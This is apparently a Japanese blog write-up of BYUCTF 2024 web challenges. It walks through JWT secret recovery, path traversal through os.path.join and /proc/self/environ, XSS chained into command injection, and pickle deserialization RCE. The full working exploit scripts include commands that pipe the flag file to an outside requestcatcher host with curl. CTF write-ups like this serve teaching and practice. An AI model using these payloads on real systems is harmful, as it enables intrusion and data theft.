はまやんはまやんはまやん

hamayanhamayan's blog

BYUCTF 2024 Writeups

https://ctftime.org/event/2252

[Web] Random

ソースコード有り。ファイルを閲覧できるサイトが与えられるが、利用するにはまず、以下の検証を突破する必要がある。

time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()


# check authorization before request handling
@app.before_request
def check_auth():
    # ensure user is an administrator
    session = request.cookies.get('session', None)

    if session is None:
        abort(403)

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
        if payload['userid'] != 0:
            abort(401)
    except:
        abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))

検証を突破するJWTトークンを作成する必要があるのだが、脆弱な部分が鍵をサーバ起動時の現在時刻から生成している部分。今回は検証に失敗しexceptに入ると、サーバが起動してからの時間が取得できる。この情報から、サーバの起動時間が逆算でき、つまり、鍵が復元できる。PoCは後で共有するとして、認証を突破できたら、フラグは/in_prod_this_is_random/flag.txtにあるので、これを何とか持って来る必要がある。以下の部分でファイルが持ってこれそうだ。

# get a file
@app.route('/api/file', methods=['GET'])
def get_file():
    filename = request.args.get('filename', None)

    if filename is None:
        abort(Response('No filename provided', status=400))

    # prevent directory traversal
    while '../' in filename:
        filename = filename.replace('../', '')

    # get file contents
    return open(os.path.join('files/', filename),'rb').read()

os.path.joinは妙な動きをすることが知られており、第二引数に絶対パスが与えられると全体がその絶対パスに上書きされるということが起こる。よって、filepathに/in_prod_this_is_random/flag.txtと指定すれば、../で戻ることなくルートからファイルを指定可能。…とやると失敗。in_prod_this_is_randomというのをちゃんと読んでなかったが、このパスもどこかから持って来る必要があるようだ。これは/proc/self/environを取得すると取れた。ということで以下のスクリプトでフラグが得られる。

import requests
import jwt, re, time, hashlib

BASE = 'https://random.chal.cyberjousting.com'
#BASE = 'http://localhost:40000'

def get_token(secret):
    return jwt.encode({ "userid" : 0 }, secret, algorithm="HS256")

def test(secret):
    r = requests.get(f"{BASE}/", cookies={"session":get_token(secret)})
    return r.status_code != 403

r = requests.get(F"{BASE}/", cookies={"session":"hoge"}).text
running_time = int(re.search(r'(\d+) seconds', r).group(1))
calcurated_time_started = round(time.time()) - running_time
actual_time_started = -1

for d in range(-1,2):
    secret = hashlib.sha256(str(calcurated_time_started + d).encode()).hexdigest()
    if test(secret) == True:
        actual_time_started = calcurated_time_started + d

assert 0 < actual_time_started

secret = hashlib.sha256(str(actual_time_started).encode()).hexdigest()
secret_path = requests.get(f"{BASE}/api/file?filename=/proc/self/environ", cookies={"session":get_token(secret)}).text.split('/')[-1][:-1]
r = requests.get(f"{BASE}/api/file?filename=/{secret_path}/flag.txt", cookies={"session":get_token(secret)}).text
print(r)

[Web] Not a Problem

ソースコード有り。admin botpythonで作られたサイトが与えられる。pythonで作られた方で面白そうなのは以下の関数。

# current date
@app.route('/api/date', methods=['GET'])
def get_date():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return '{"error": "Unauthorized"}'
    
    # check if cookie is valid
    if cookie != SECRET:
        return '{"error": "Unauthorized"}'
    
    modifier = request.args.get('modifier','')
    
    return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'

明らかなコマンドインジェクションがある。試しにdateを含めたURLをbotに送ってみるとエラーが出た。admin bot側でdateが含まれているか検証していた。

if (url.includes("date") || url.includes("%")) {
    res.send('Error: "date" is not allowed in the URL')
    return
}

何か別の方法を考えよう。以下の部分はどうだろうか。

# get stats
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])
        
    return '{"error": "Not found"}'


# add stats
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'

入力を入れて出力しているがXSS対策がなされているようには見えない。試しに以下のようにXSSコードを入れ込んでみるとsタグが動くことが確認できた。

import requests
import json

BASE = 'http://localhost:40001'

t = requests.post(f"{BASE}/api/stats", json={'username':'<s>asdf<\s>','high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

ということで、この部分をリダイレクタとして活用することにしよう。XSSでリダイレクトしてコマンドインジェクションして外部送信するURLを作るPoCは以下。

import requests
import json
import urllib.parse

#BASE = 'http://localhost:40001'
BASE = 'https://not-a-problem.chal.cyberjousting.com'

command = 'cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-'
command = urllib.parse.quote(command)
payload = "<meta http-equiv=refresh content='0; url=http://127.0.0.1:1337/api/date?modifier=`" + command + "`'>"
t = requests.post(f"{BASE}/api/stats", json={'username':payload,'high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

得られたURLを踏ませれば、requestcatherにフラグが飛んでくる。

[Web] Triple Whammy

ソースコード有り。まず、明らかなXSSポイントがある。

# index
@app.route('/', methods=['GET'])
def main():
    name = request.args.get('name','')

    return 'Nope still no front end, front end is for noobs '+name

admin botもあり、cookieでSECRETを渡していて、以下のようにSECRETを検証している所があるので、これを踏ませるのだろう。

# query
@app.route('/query', methods=['POST'])
def query():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return {"error": "Unauthorized"}
    
    # check if cookie is valid
    if cookie != SECRET:
        return {"error": "Unauthorized"}
    
    # get URL
    try:
        url = request.json['url']
    except:
        return {"error": "No URL provided"}

    # check if URL exists
    if url == None:
        return {"error": "No URL provided"}
    
    # check if URL is valid
    try:
        url_parsed = urlparse(url)
        if url_parsed.scheme not in ['http', 'https'] or url_parsed.hostname != '127.0.0.1':
            return {"error": "Invalid URL"}
    except:
        return {"error": "Invalid URL"}
    
    # request URL
    try:
        requests.get(url)
    except:
        return {"error": "Invalid URL"}
    
    return {"success": "Requested"}

特に気になる所は無い。特筆すべき所として、internal.pyというのが別途動いている。これをこの/query経由で呼ぶのだろう。

# imports
from flask import Flask, request
import pickle, random


# initialize flask
app = Flask(__name__)
port = random.randint(5700, 6000)
print(port)


# index
@app.route('/pickle', methods=['GET'])
def main():
    pickle_bytes = request.args.get('pickle')

    if pickle_bytes is None:
        return 'No pickle bytes'
    
    try:
        b = bytes.fromhex(pickle_bytes)
    except:
        return 'Invalid hex'
    
    try:
        data = pickle.loads(b)
    except:
        return 'Invalid pickle'

    return str(data)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=port, threaded=True)

pickleのデリアライズをするが、ポートがランダムで指定されている。なので、XSSでポートスキャンして、そのあと、Pickleのシリアライズ物を送ってやる。後は既存手法の組み合わせ。以下のようなPoCコード。

pickle作るときに先頭に0x00を4つつけるものとそうでないものがあるけれど、どういう条件の違いがあるんだろう。b"\x00"*4 + payloadみたいなやつ。

import requests
from urllib.parse import quote

CATCHER = 'https://[yours].requestcatcher.com/out'

payload = '''
<script>
for (let port = 5700; port <= 6000; port++) {
    const url = 'http://127.0.0.1:' + port.toString();
    fetch(url, {mode: 'no-cors'}).then(res => {
        fetch('<<<CATCHER>>>', { method: "POST", body: port })
    });
}
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)

print('====== STAGE 1 =======')
print('?name='+quote(payload))

# POST = 5863

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/out -X POST -d @-')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE())
    return payload

payload = '''
<script>
fetch('http://127.0.0.1:5863/pickle?pickle=<<<PICKLED>>>', {mode: 'no-cors'}).then(response => {
    fetch('<<<CATCHER>>>', { method: "POST", body: "launched!"});
});
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
payload = payload.replace("<<<PICKLED>>>", generate_exploit().hex())

print('====== STAGE 2 =======')
print('?name='+quote(payload))

STAGE 1でポートを特定し、STAGE 2でRCE。

[Web] Argument 解けなかった

公式解説はここHTBだったかでこのテク見たことあるな… 攻撃テクの日本語解説はこれです